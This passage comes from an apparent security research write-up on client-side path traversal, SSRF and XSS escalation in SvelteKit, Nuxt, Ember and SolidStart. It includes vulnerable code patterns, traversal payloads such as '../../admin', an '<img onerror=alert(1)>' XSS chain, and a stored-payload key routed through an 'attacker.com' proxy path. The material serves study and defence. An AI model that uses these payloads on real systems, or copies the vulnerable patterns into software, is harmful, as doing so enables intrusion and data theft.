params in +page.ts (SSR) YES, decode_params() + server fetch decode Server-side fetch Secondary PT, server resolves ../
params in +page.server.ts YES, decode_params() Server-only, internal network SSRF, can reach internal services
params in +server.ts YES, decode_params() API endpoint, server-only SSRF, direct backend access
$page.params in component YES, same pipeline Client-side reactive CSPT, reactive re-fetch on param change
url.searchParams in load YES, standard URLSearchParams Any CSPT, no segment boundary constraint
%252F (double-encoded) NO, %25-split blocks Any Safe, stays as literal %2F

SvelteKit’s param matcher defense is the best I’ve seen in any framework:

// src/params/id.ts
export function match(param: string): boolean {
  return /^[a-zA-Z0-9-_]+$/.test(param);
}
// Usage: src/routes/user/[id=id]/+page.svelte

If the param doesn’t match the pattern, the entire route fails to match. Traversal payloads get rejected at the routing level, before any load function executes. It’s opt-in, not default, but when used, it’s the strongest framework-level defense available. No other framework offers route-level param validation that prevents the load function from even running.


Nuxt

The primary client-side sink is useFetch() and $fetch(). Nuxt’s data-fetching composables pass the URL string directly to globalThis.$fetch with zero sanitization:

// nuxt/dist/app/composables/fetch.js:64
return _$fetch(_request.value, { signal, ..._fetchOptions });

The standard CSPT pattern:

// pages/users/[id].vue
const route = useRoute();
const { data } = useFetch(`/api/users/${route.params.id}`);
// route.params.id = "../../admin" (decoded by Vue Router)
// fetch URL: /api/users/../../admin
// Browser resolves: GET /api/admin

Multi-param routes double the attack surface. /shop/..%2F..%2Fadmin/..%2Fusers gives route.params.category = "../../admin" and route.params.productId = "../users". A fetch to /api/shop/${category}/products/${productId} resolves to /api/admin/users.

The server-side sink is where Nuxt diverges from standalone Vue. Server routes under server/api/ execute with full network access and can reach internal services. The common proxy pattern is the most dangerous:

// server/api/proxy/[...path].ts
const path = event.context.params?.path || "";
return $fetch(`https://backend.internal/${path}`);

Even without explicit decoding, if the backend normalizes the URL, the traversal can land. And if the developer adds { decode: true } to getRouterParam(), the traversal is fully decoded before reaching the internal fetch. This once again opens the door for secondary context path traversal

The most dangerous client-side combination is v-html with an API response that the attacker controls via CSPT:

// pages/dashboard/stats.vue
const route = useRoute();
const widget = route.query.widget;
const { data: widgetHtml } = useFetch(`/api/widgets/${widget}`);
// template: <div v-html="widgetHtml" />

Navigate to /dashboard/stats?widget=../../attachments/malicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If the attacker uploaded HTML as an attachment, v-html renders it. CSPT to XSS, same as in standalone Vue.

Nuxt also has a unique attack surface that no other framework shares: island component payload revival. The revive-payload.client.js plugin deserializes island data from the window.__NUXT__ payload and fetches component data using a key from that payload:

// revive-payload.client.js:20
nuxtApp.payload.data[key] ||= $fetch(`/__nuxt_island/${key}.json`, {
  responseType: "json",
  ...(params ? { params } : {}),
});

If an attacker can poison the payload (via cache poisoning, stored injection, or MITM on the initial HTML), the key can traverse the $fetch URL to any same-origin endpoint. The .json suffix gets appended, but a query parameter absorbs it: key = "../../api/proxy/attacker.com?x=" produces $fetch("/__nuxt_island/../../api/proxy/attacker.com?x=.json"), which resolves to /api/proxy/attacker.com?x=.json. This is stored CSPT. The payload is set once, and every client that loads the page fires the traversed fetch. This was assigned CVE-2025-59414.

Source Decoded? Context Risk
route.params.* in useFetch YES, Vue Router decodeParams() Client-side fetch CSPT, %2F decoded to /
route.query.* in useFetch YES, Vue Router parseQuery() Client-side fetch CSPT, no segment boundary
route.hash YES, Vue Router decode() Client-side CSPT if interpolated into fetch
getRouterParam(event, 'id') NO, raw by default Server-side fetch Safe unless { decode: true }
getRouterParam(event, 'id', { decode: true }) YES Server-side fetch SSRF, full traversal
event.context.params.* NO, raw from radix3 Server-side Safe unless manually decoded
Island payload key in $fetch N/A (stored value) Client-side, stored Stored CSPT (CVE-2025-59414)

The safe sources in Nuxt are route.path and route.fullPath on the client (which preserve %2F encoding), and getRouterParam() without the decode option on the server.


Ember

The primary sink in Ember is fetch() in the model hook. This is the standard pattern in every Ember app:

// app/routes/user.js
export default class UserRoute extends Route {
  model(params) {
    return fetch(`/api/users/${params.user_id}`).then((r) => r.json());
  }
}
// params.user_id = "../../admin" → fetch("/api/admin")

Ember also has a second sink that’s unique to its ecosystem: Ember Data adapters (now WarpDrive). The adapter pattern builds API URLs from model names and IDs, and the default urlForFindRecord does not encode:

// Vulnerable adapter pattern
urlForFindRecord(id, modelName) {
  return `/api/${modelName}s/${id}`;  // No encodeURIComponent!
}

When a route’s model hook calls this.store.findRecord('user', params.user_id), the decoded param flows through the adapter’s URL builder. The traversal payload ../../admin becomes part of the fetch URL without any encoding. This is an indirect CSPT sink. The developer never calls fetch() directly. The framework’s data layer does it for them, and the adapter doesn’t sanitize.

The XSS escalation in Ember uses triple-curly syntax } instead of dangerouslySetInnerHTML or v-html. In Handlebars, double curlies `` escape HTML. Triple curlies render raw HTML. In production builds, triple curlies compile to Glimmer VM appendHTML opcodes, which call insertAdjacentHTML('beforeend', html) on the DOM element. Functionally identical to innerHTML.


}

If CSPT redirects a fetch to an attacker-controlled endpoint that returns HTML, and that HTML flows into a triple-curly template, you get XSS. The chain: query param decoded → interpolated into fetch URL → fetch hits attacker endpoint → response contains <img onerror=alert(1)> → triple curlies render it → script executes.

Ember also has htmlSafe() from @ember/template, which programmatically marks a string as safe for HTML rendering. Any component that wraps API response data in htmlSafe() before rendering is an XSS sink when combined with CSPT.

Source Decoded? Sink Risk
params.* in model hook (:param) YES, findHandler()decodeURIComponent fetch(url) High, CSPT
params.* in model hook (*wildcard) Partial (normalized, not final-decoded) fetch(url) High, literal ../ works
this.paramsFor(routeName) YES, same pipeline fetch(url) High, ancestor params
this.router.currentRoute.params YES, same pipeline fetch(url) High
Query params in model hook YES, browser-decoded fetch(url) High, no segment boundary
window.location.hash (hash routing) Raw, client-controlled Router pipeline High, full path control
transition.to.queryParams YES transitionTo(value) Medium, open redirect
Ember Data adapter urlForFindRecord(id) YES (id from decoded params) Internal fetch(url) High, indirect CSPT
} / htmlSafe() with API response N/A insertAdjacentHTML Critical, XSS

The only safe source in Ember is reading the URL directly from window.location.pathname or window.location.href, which preserves %2F encoding. Everything that flows through route-recognizer’s findHandler() for dynamic segments is fully decoded.


SolidStart

The primary client-side sink is fetch() inside createResource or createAsync, which are Solid’s reactive data-fetching primitives. When the tracked signal (params) changes via client-side navigation, the fetcher re-executes immediately with no page reload:

const [user] = createResource(
  () => params.userId,
  async (userId) => {
    const res = await fetch(`/api/users/${userId}`);
    return res.json();
  },
);

For path params, this is safe. params.userId is still encoded, so the fetch URL contains encoded characters that the server receives as-is.

For search params, this is not safe:

const [searchParams] = useSearchParams();
const [stats] = createResource(
  () => searchParams.source,
  async (source) => {
    const res = await fetch(`/api/stats?source=${source}`);
    return res.json();
  },
);

Navigate to /dashboard/stats?source=../../uploads/malicious and the fetch fires with the decoded traversal in the query string.

SolidStart’s server functions add a second sink. The query() API with "use server" serializes arguments via seroval and sends them as a POST body to /_server. The server deserializes the exact string the client sent. No re-encoding, no sanitization at the transport boundary:

const getData = query(async (dataId: string) => {
  "use server";
  const res = await fetch(`http://internal-service.local/data/${dataId}`);
  return res.json();
}, "getData");

// Client call:
const data = createAsync(() => getData(params.dataId));

If params.dataId came from a search param (decoded) or a catch-all route with real slashes, the traversal string passes through the JSON RPC boundary unchanged. "../../admin" on the client becomes "../../admin" on the server, which then interpolates it into an internal fetch URL. This is SSRF through a server function.

The XSS escalation uses Solid’s native innerHTML prop. Unlike React’s dangerouslySetInnerHTML (which is verbose by design to discourage use), Solid treats innerHTML as a first-class JSX attribute:

<div innerHTML={stats()} />

This compiles directly to element.innerHTML = value. Combined with CSPT via search params, if the attacker can redirect a fetch to an endpoint returning HTML, the response gets rendered into the DOM.

Source Decoded? Context Risk
useParams() (:param) NO, raw from URL Client-side fetch Low, stays encoded
useParams() ([...path] catch-all) NO, but real / from path Client-side fetch Medium, real slashes
useSearchParams() YES, URLSearchParams auto-decodes Client-side fetch High, primary CSPT vector
useLocation().pathname NO, raw from browser Client-side fetch Low, stays encoded
Server function args via query() Passthrough (exact client string) Server-side fetch High, SSRF if input decoded
API route event.params NO, raw from radix3 Server-side fetch Low, stays encoded
innerHTML with API response N/A element.innerHTML = value Critical, XSS

The safe sources in SolidStart are useParams() for single-segment dynamic params and useLocation().pathname, both of which preserve percent-encoding. The dangerous sources are useSearchParams() (auto-decoded by the browser API) and any value that passes through server functions from an already-decoded input.


Conclusion

Client-side paths are a rich attack surface. Each framework parses dynamic paths and query parameters differently. There are dangerous code patterns in each framework. If a path traversal payload is be passed to a client-side fetch request, it leads to CSPT. If a path-traversal payload is passed to a Server-side fetch request, it can lead to secondary context path traversal.

Path Params: Does %2F Decode to /?

Framework Source %2F/? %2E%2E..? Double-Encode (%252F)? Decode Function
React Router useParams() YES YES YES (decode + replace) decodeURIComponent + .replace(/%2F/g, "/")
Next.js useParams() / page await params NO (re-encoded) YES NO getParamValue() re-encodes
Next.js Route handler await params YES YES NO getRouteMatcher()decode
Vue Router route.params.* YES YES NO decodeURIComponent via decodeParams()
Nuxt (client) useRoute().params.* YES YES NO Inherits Vue Router decodeParams()
Nuxt (server) getRouterParam(event, 'id') NO NO NO Raw from radix3 (no decode by default)
Nuxt (server) getRouterParam(event, 'id', { decode: true }) YES YES NO decodeURIComponent
Angular paramMap.get() YES YES NO decodeURIComponent via decode()
SvelteKit params.* in load functions YES YES NO (%25-split blocks) decode_pathname() + decode_params()
Ember (:param) params.* in model hook YES YES NO (normalizePath re-encodes %) normalizePath() + findHandler()decodeURIComponent
Ember (*wildcard) params.* in model hook NO (star skips final decode) Partial NO normalizePath() only (no final decode)
SolidStart useParams() NO NO NO None (raw from URL)

Query Params: Decoded Everywhere

Every framework decodes query parameters. There are no exceptions.

Framework Source Decoded? Notes
React Router useSearchParams() YES Standard URLSearchParams
Next.js useSearchParams() / searchParams YES Standard URLSearchParams
Vue Router route.query.* YES Vue’s parseQuery(), + stays literal
Nuxt (client) useRoute().query.* YES Inherits Vue Router parseQuery()
Nuxt (server) getQuery(event) YES ufo library decodes
Angular queryParamMap.get() YES decodeQuery()decodeURIComponent
SvelteKit url.searchParams / $page.url.searchParams YES Standard URLSearchParams
Ember Query params in model hook YES Browser-decoded
SolidStart useSearchParams() YES Standard URLSearchParams

XSS Sinks: The Escalation Function

Framework Dangerous Render Syntax Compiles To
React dangerouslySetInnerHTML <div dangerouslySetInnerHTML= /> element.innerHTML = val
Next.js dangerouslySetInnerHTML Same as React element.innerHTML = val
Vue / Nuxt v-html <div v-html="val" /> element.innerHTML = val
Angular [innerHTML] + bypassSecurityTrustHtml() <div [innerHTML]="val"> element.innerHTML = val (bypasses sanitizer)
SvelteKit {@html} {@html val} element.innerHTML = val
Ember Triple curlies / htmlSafe() } insertAdjacentHTML('beforeend', val)
SolidStart innerHTML <div innerHTML={val} /> element.innerHTML = val

Safe Sources: What Won’t Betray You

Framework Safe Source Why
React Router useLocation().pathname Preserves %2F encoding
Next.js useParams() / page await params getParamValue() re-encodes %2F
Vue Router route.path, route.fullPath Preserves %2F encoding
Nuxt (client) route.path, route.fullPath Inherits Vue Router encoding preservation
Nuxt (server) getRouterParam() without { decode: true } Raw from radix3, no decode
Angular router.url Preserves %2F encoding
SvelteKit Param matchers ([id=id]) Rejects non-matching values at route level
Ember window.location.pathname Raw browser value, bypasses route-recognizer
SolidStart useParams() (single segment) Router never calls decodeURIComponent

Server-Side / Secondary Traversal Sinks

Framework Server Sink Params Decoded? Risk
Next.js Route handler await paramsfetch() YES (auto-decoded) SSRF to internal services
Nuxt getRouterParam(event, 'id', { decode: true })$fetch() YES (opt-in) SSRF to internal services
SvelteKit +page.server.ts / +server.ts params → fetch() YES (decode_params()) SSRF, bypasses hooks.server.ts
SolidStart query("use server") args → fetch() Passthrough (exact client string) SSRF if input already decoded